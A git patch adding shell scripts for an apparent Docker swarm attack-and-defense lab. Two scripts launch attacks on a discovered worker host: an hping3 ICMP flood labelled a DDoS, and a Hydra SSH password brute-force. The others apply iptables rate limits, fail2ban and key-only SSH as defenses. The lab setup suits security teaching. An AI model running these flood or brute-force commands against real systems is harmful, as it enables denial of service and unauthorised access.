From 756e642984e2319075e2a1f71a8ad5e93bf2315c Mon Sep 17 00:00:00 2001 From: cse47126 Date: Sun, 24 Jan 2021 11:00:06 +0000 Subject: [PATCH] Upload files to '' --- 1manager.sh | 9 +++++++++ 1worker.sh | 20 ++++++++++++++++++++ 2master.sh | 11 +++++++++++ 2masterkeyenable.sh | 14 ++++++++++++++ 2worker.sh | 13 +++++++++++++ 5 files changed, 67 insertions(+) create mode 100644 1manager.sh create mode 100644 1worker.sh create mode 100644 2master.sh create mode 100644 2masterkeyenable.sh create mode 100644 2worker.sh diff --git a/1manager.sh b/1manager.sh new file mode 100644 index 0000000..18fb229 --- /dev/null +++ b/1manager.sh @@ -0,0 +1,9 @@ +sudo apt update +sudo apt upgrade -y +sudo apt install hping3 -y +network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') +clear +echo "Swarm network is " $network +worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +echo "Starting DDos attack to worker 1 with the IP address: " $worker1IP +sudo hping3 -p 80 --flood --icmp $worker1IP \ No newline at end of file diff --git a/1worker.sh b/1worker.sh new file mode 100644 index 0000000..31f6cd6 --- /dev/null +++ b/1worker.sh @@ -0,0 +1,20 @@ +sudo apt update +sudo apt upgrade -y +sudo apt install tcpdump -y +worker1IP=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" ) +clear +sudo iptables -F +echo "Listening to ICMP replies from worker1 for 5 seconds" +sleep 2s +sudo timeout 5s tcpdump -i eth0 icmp and src $worker1IP +sleep 2s +echo "Applying Ip Tables Rules" +sleep 2s +sudo iptables -N icmp_flood +sudo iptables -A INPUT -p icmp -j icmp_flood +sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN +sudo iptables -A icmp_flood -j DROP +echo "Listening to ICMP replies from worker1 for 5 seconds" +sleep 2s +sudo timeout 5s tcpdump -i eth0 icmp and src $worker1IP +echo "Spot any difference?" \ No newline at end of file diff --git a/2master.sh b/2master.sh new file mode 100644 index 0000000..f01912e --- /dev/null +++ b/2master.sh @@ -0,0 +1,11 @@ +sudo apt update +sudo apt upgrade -y +sudo apt install hydra -y +clear +echo "SSH brute force attack with Hydra" +network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') +worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +echo "Swarm network is " $network +echo "Starting attack with right dictionary to worker 1 with the IP address: " $worker1IP +hydra -l docker -P lexikoright $worker1IP -t 4 ssh + diff --git a/2masterkeyenable.sh b/2masterkeyenable.sh new file mode 100644 index 0000000..fe0f3b3 --- /dev/null +++ b/2masterkeyenable.sh @@ -0,0 +1,14 @@ +clear +echo "Applying SSH Configuration to allow only keys" +network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') +worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +ssh-keygen -t rsa +#(path kai kwdiko enter+enter) +ssh-copy-id docker@$worker1IP +ssh docker@$worker1IP +bash +sudo cp /project/sshdconfrsa /etc/ssh/sshd_config +sudo service ssh restart +exit +exit +echo "Configuration Finished!" \ No newline at end of file diff --git a/2worker.sh b/2worker.sh new file mode 100644 index 0000000..01aaecf --- /dev/null +++ b/2worker.sh @@ -0,0 +1,13 @@ +sudo apt update +sudo apt upgrade -y +sudo apt-get install fail2ban -y +sudo apt install rsyslog -y +sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local +sudo cp /project/fail2bansshconf /etc/fail2ban/jail.local +sudo cp /project/sshdconf /etc/ssh/sshd_config +sudo service ssh restart +sudo service rsyslog restart +sudo service fail2ban restart +#sudo cat /var/log/auth.log +sudo fail2ban-client status sshd +